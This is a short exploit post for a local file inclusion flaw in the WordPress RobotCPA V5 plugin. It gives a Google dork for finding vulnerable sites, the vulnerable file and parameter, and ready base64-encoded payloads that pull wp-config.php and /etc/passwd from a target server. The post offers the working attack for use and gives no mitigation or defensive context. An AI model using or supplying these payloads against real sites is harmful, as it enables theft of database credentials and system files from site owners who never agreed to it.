WordPress RobotCPA Plugin Dork & Exploit Code

# Exploit Title: Wordpress Plugin RobotCPA V5 - Local File Include
# Google Dork: inurl:"/wp-content/plugins/robotcpa/"
#Exploit BY T3N38R15 all credit goes too him

The affected file is f.php and the get-parameter "l" is vulnerable to local file inclusion.
We just need to base64 encode our injection.
Like that :
If you want to download the wp-config.php file then use this
php://filter/resource=./../../../wp-config.php
cGhwOi8vZmlsdGVyL3Jlc291cmNlPS4vLi4vLi4vLi4vd3AtY29uZmlnLnBocA==
or
If you want to download the etc/passwd file then use this
file:///etc/passwd
ZmlsZTovLy9ldGMvcGFzc3dk